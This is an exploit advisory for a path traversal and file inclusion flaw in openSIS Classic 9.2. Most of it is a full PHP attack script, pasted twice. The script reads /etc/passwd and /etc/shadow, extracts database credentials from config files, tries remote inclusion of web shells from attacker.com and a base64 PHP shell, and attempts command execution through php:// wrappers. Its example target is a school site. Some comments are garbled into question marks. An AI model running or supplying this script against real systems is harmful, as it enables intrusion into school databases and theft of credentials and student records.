openSIS Classic 9.2 Path Traversal
=============================================================================================================================================
| # Title openSIS Classic 9.2 Path Traversal
=============================================================================================================================================
| # Title : openSIS Classic v?9.2 Path Traversal Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.opensis.com |
=============================================================================================================================================
[+] References :
[+] Summary : Critical Path Traversal / Local File Inclusion (LFI) vulnerability in openSIS Student Information System.
[+] Vulnerable Code Analysis :
[+] Location: Modules.php
// Vulnerable line 39-47
if ( substr( $modname, -4, 4 ) !== '.php'
|| strpos( $modname, '..' ) !== false
/*|| ! is_file( 'modules/' . $modname )*/ )
{
// Log hacking attempt
}
else
{
require_once 'modules/' . $modname; // DIRECT FILE INCLUSION
}
[+] Root Causes:
No Input Sanitization: $modname = $_REQUEST['modname']; (direct assignment)
Weak Validation: Only checks for .php extension and ..
Comment-Out Critical Check: ! is_file( 'modules/' . $modname ) commented out
No Whitelist/Blacklist: No validation of allowed modules
[+] POC : php poc.php
<?php
// exploit_openSIS.php
class openSISExploit {
private $target_url;
private $session_cookie;
public function __construct($target_url, $session_cookie = null) {
$this->target_url = rtrim($target_url, '/');
$this->session_cookie = $session_cookie;
}
public function test_directory_traversal() {
echo "[*] Testing Directory Traversal in openSIS\n";
$payloads = [
// Basic directory traversal
'../../../etc/passwd',
'../../../../etc/passwd',
'..\\..\\..\\etc\\passwd', // Windows
// Null byte injection
'../../../etc/passwd%00.php',
// Encoded payloads
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
// Double encoding
'..%252f..%252f..%252fetc%252fpasswd',
// UTF-8 bypass
'..%c0%af..%c0%af..%c0%afetc%c0%afpasswd',
// File inclusion without .php
'../../../etc/passwd.php',
];
foreach ($payloads as $payload) {
$url = $this->target_url . "/Modules.php?modname=" . $payload;
echo "\n[*] Testing: " . $payload;
$response = $this->make_request($url);
if (strpos($response, 'root:') !== false ||
strpos($response, 'daemon:') !== false) {
echo " ? SUCCESS - File read!\n";
return $payload;
} elseif (strpos($response, 'Warning') !== false ||
strpos($response, 'Fatal error') !== false) {
echo " ?? ERROR - But vulnerable\n";
} else {
echo " ? Failed\n";
}
}
return false;
}
public function test_local_file_inclusion() {
echo "\n[*] Testing Local File Inclusion (LFI)\n";
$files = [
// System files
'/etc/passwd',
'/etc/shadow',
'/etc/hosts',
'/etc/issue',
'/proc/self/environ',
'/proc/version',
// openSIS config files
'../../config.inc.php',
'../config.inc.php',
'config.inc.php',
// PHP files
'index.php',
'Warehouse.php',
// Log files
'../../logs/error.log',
// Session files
'/tmp/sess_' . session_id(),
];
foreach ($files as $file) {
$url = $this->target_url . "/Modules.php?modname=" . $file . ".php";
echo "\n[*] Trying: " . $file;
$response = $this->make_request($url);
if (strlen($response) > 100 &&
!strpos($response, '<html') &&
!strpos($response, '404')) {
echo " ? Found\n";
// Show first 500 chars
echo substr($response, 0, 500) . "...\n";
}
}
}
public function test_remote_file_inclusion() {
echo "\n[*] Testing Remote File Inclusion (RFI)\n";
// Try to include remote PHP file
$remote_files = [
'http://attacker.com/shell.txt',
'http://attacker.com/shell.php',
'\\\\attacker.com\\share\\shell.php', // Windows UNC
'php://filter/convert.base64-encode/resource=index.php',
'data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=', // PHP shell
];
foreach ($remote_files as $remote_file) { // ?? ??????? ??? - ??? "in" ????? ?? "as"
$url = $this->target_url . "/Modules.php?modname=" . urlencode($remote_file);
echo "\n[*] Testing RFI: " . $remote_file;
$response = $this->make_request($url);
if (strpos($response, 'PHP') !== false ||
strpos($response, 'system') !== false) {
echo " ?? Possible RFI\n";
}
}
}
public function exploit_to_rce() {
echo "\n[*] Attempting to gain Remote Code Execution\n";
// Method 1: PHP filter chain
$payload = 'php://filter/convert.base64-encode/resource=modules/../../index.php';
$url = $this->target_url . "/Modules.php?modname=" . $payload;
$response = $this->make_request($url);
if (strpos($response, 'PD9waHA') !== false) {
echo "[+] Found base64 encoded file\n";
// Decode and look for credentials
$base64 = substr($response, strpos($response, 'PD9waHA'));
$decoded = base64_decode($base64);
// Look for database credentials
if (preg_match('/\$DatabaseServer\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Server: " . $matches[1] . "\n";
}
if (preg_match('/\$DatabaseUsername\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Username: " . $matches[1] . "\n";
}
if (preg_match('/\$DatabasePassword\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Password: " . $matches[1] . "\n";
}
}
// Method 2: Try to access PHP wrapper
echo "\n[*] Testing PHP wrappers\n";
$wrappers = [
'php://input',
'data://text/plain,<?php system("id"); ?>',
'expect://ls',
];
foreach ($wrappers as $wrapper) { // ?? ??????? ??? ?????
$url = $this->target_url . "/Modules.php?modname=" . urlencode($wrapper);
// For php://input, need POST data
$post_data = ($wrapper === 'php://input') ? '<?php system("id"); ?>' : null;
$response = $this->make_request($url, $post_data);
if (strpos($response, 'uid=') !== false) {
echo "[+] RCE Achieved via " . $wrapper . "\n";
return true;
}
}
return false;
}
public function scan_for_modules() {
echo "\n[*] Scanning for accessible modules\n";
// Common openSIS modules
$modules = [
'Students/Student.php',
'Users/User.php',
'Grades/Grades.php',
'Attendance/Attendance.php',
'Scheduling/Schedule.php',
'Food_Service/Menus.php',
'Accounting/Accounts.php',
];
foreach ($modules as $module) { // ?? ??????? ???
$url = $this->target_url . "/Modules.php?modname=" . $module;
$response = $this->make_request($url);
if (strpos($response, 'HackingLog') === false &&
!strpos($response, '404') &&
strlen($response) > 100) {
echo "[+] Found: " . $module . "\n";
}
}
}
private function make_request($url, $post_data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($this->session_cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $this->session_cookie);
}
if ($post_data) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
public function run_full_test() {
echo "==================================\n";
echo " openSIS Path Traversal Exploit\n";
echo "==================================\n";
$this->test_directory_traversal();
$this->test_local_file_inclusion();
$this->scan_for_modules();
$this->exploit_to_rce();
echo "\n[*] Exploitation completed\n";
}
}
// Usage
if (isset($argv) && $argc > 1) {
$target = $argv[1];
$cookie = ($argc > 2) ? $argv[2] : null;
$exploit = new openSISExploit($target, $cookie);
$exploit->run_full_test();
} else {
echo "Usage: php " . basename(__FILE__) . " http://target.com [session_cookie]\n";
echo "Example: php " . basename(__FILE__) . " http://school.edu/openSIS \"PHPSESSID=abc123\"\n";
}<?php
// exploit_openSIS.php
class openSISExploit {
private $target_url;
private $session_cookie;
public function __construct($target_url, $session_cookie = null) {
$this->target_url = rtrim($target_url, '/');
$this->session_cookie = $session_cookie;
}
public function test_directory_traversal() {
echo "[*] Testing Directory Traversal in openSIS\n";
$payloads = [
// Basic directory traversal
'../../../etc/passwd',
'../../../../etc/passwd',
'..\\..\\..\\etc\\passwd', // Windows
// Null byte injection
'../../../etc/passwd%00.php',
// Encoded payloads
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
// Double encoding
'..%252f..%252f..%252fetc%252fpasswd',
// UTF-8 bypass
'..%c0%af..%c0%af..%c0%afetc%c0%afpasswd',
// File inclusion without .php
'../../../etc/passwd.php',
];
foreach ($payloads as $payload) {
$url = $this->target_url . "/Modules.php?modname=" . $payload;
echo "\n[*] Testing: " . $payload;
$response = $this->make_request($url);
if (strpos($response, 'root:') !== false ||
strpos($response, 'daemon:') !== false) {
echo " ? SUCCESS - File read!\n";
return $payload;
} elseif (strpos($response, 'Warning') !== false ||
strpos($response, 'Fatal error') !== false) {
echo " ?? ERROR - But vulnerable\n";
} else {
echo " ? Failed\n";
}
}
return false;
}
public function test_local_file_inclusion() {
echo "\n[*] Testing Local File Inclusion (LFI)\n";
$files = [
// System files
'/etc/passwd',
'/etc/shadow',
'/etc/hosts',
'/etc/issue',
'/proc/self/environ',
'/proc/version',
// openSIS config files
'../../config.inc.php',
'../config.inc.php',
'config.inc.php',
// PHP files
'index.php',
'Warehouse.php',
// Log files
'../../logs/error.log',
// Session files
'/tmp/sess_' . session_id(),
];
foreach ($files as $file) {
$url = $this->target_url . "/Modules.php?modname=" . $file . ".php";
echo "\n[*] Trying: " . $file;
$response = $this->make_request($url);
if (strlen($response) > 100 &&
!strpos($response, '<html') &&
!strpos($response, '404')) {
echo " ? Found\n";
// Show first 500 chars
echo substr($response, 0, 500) . "...\n";
}
}
}
public function test_remote_file_inclusion() {
echo "\n[*] Testing Remote File Inclusion (RFI)\n";
// Try to include remote PHP file
$remote_files = [
'http://attacker.com/shell.txt',
'http://attacker.com/shell.php',
'\\\\attacker.com\\share\\shell.php', // Windows UNC
'php://filter/convert.base64-encode/resource=index.php',
'data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=', // PHP shell
];
foreach ($remote_files as $remote_file) { // ?? ??????? ??? - ??? "in" ????? ?? "as"
$url = $this->target_url . "/Modules.php?modname=" . urlencode($remote_file);
echo "\n[*] Testing RFI: " . $remote_file;
$response = $this->make_request($url);
if (strpos($response, 'PHP') !== false ||
strpos($response, 'system') !== false) {
echo " ?? Possible RFI\n";
}
}
}
public function exploit_to_rce() {
echo "\n[*] Attempting to gain Remote Code Execution\n";
// Method 1: PHP filter chain
$payload = 'php://filter/convert.base64-encode/resource=modules/../../index.php';
$url = $this->target_url . "/Modules.php?modname=" . $payload;
$response = $this->make_request($url);
if (strpos($response, 'PD9waHA') !== false) {
echo "[+] Found base64 encoded file\n";
// Decode and look for credentials
$base64 = substr($response, strpos($response, 'PD9waHA'));
$decoded = base64_decode($base64);
// Look for database credentials
if (preg_match('/\$DatabaseServer\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Server: " . $matches[1] . "\n";
}
if (preg_match('/\$DatabaseUsername\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Username: " . $matches[1] . "\n";
}
if (preg_match('/\$DatabasePassword\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) {
echo "[+] Database Password: " . $matches[1] . "\n";
}
}
// Method 2: Try to access PHP wrapper
echo "\n[*] Testing PHP wrappers\n";
$wrappers = [
'php://input',
'data://text/plain,<?php system("id"); ?>',
'expect://ls',
];
foreach ($wrappers as $wrapper) { // ?? ??????? ??? ?????
$url = $this->target_url . "/Modules.php?modname=" . urlencode($wrapper);
// For php://input, need POST data
$post_data = ($wrapper === 'php://input') ? '<?php system("id"); ?>' : null;
$response = $this->make_request($url, $post_data);
if (strpos($response, 'uid=') !== false) {
echo "[+] RCE Achieved via " . $wrapper . "\n";
return true;
}
}
return false;
}
public function scan_for_modules() {
echo "\n[*] Scanning for accessible modules\n";
// Common openSIS modules
$modules = [
'Students/Student.php',
'Users/User.php',
'Grades/Grades.php',
'Attendance/Attendance.php',
'Scheduling/Schedule.php',
'Food_Service/Menus.php',
'Accounting/Accounts.php',
];
foreach ($modules as $module) { // ?? ??????? ???
$url = $this->target_url . "/Modules.php?modname=" . $module;
$response = $this->make_request($url);
if (strpos($response, 'HackingLog') === false &&
!strpos($response, '404') &&
strlen($response) > 100) {
echo "[+] Found: " . $module . "\n";
}
}
}
private function make_request($url, $post_data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($this->session_cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $this->session_cookie);
}
if ($post_data) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
public function run_full_test() {
echo "==================================\n";
echo " openSIS Path Traversal Exploit\n";
echo "==================================\n";
$this->test_directory_traversal();
$this->test_local_file_inclusion();
$this->scan_for_modules();
$this->exploit_to_rce();
echo "\n[*] Exploitation completed\n";
}
}
// Usage
if (isset($argv) && $argc > 1) {
$target = $argv[1];
$cookie = ($argc > 2) ? $argv[2] : null;
$exploit = new openSISExploit($target, $cookie);
$exploit->run_full_test();
} else {
echo "Usage: php " . basename(__FILE__) . " http://target.com [session_cookie]\n";
echo "Example: php " . basename(__FILE__) . " http://school.edu/openSIS \"PHPSESSID=abc123\"\n";
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================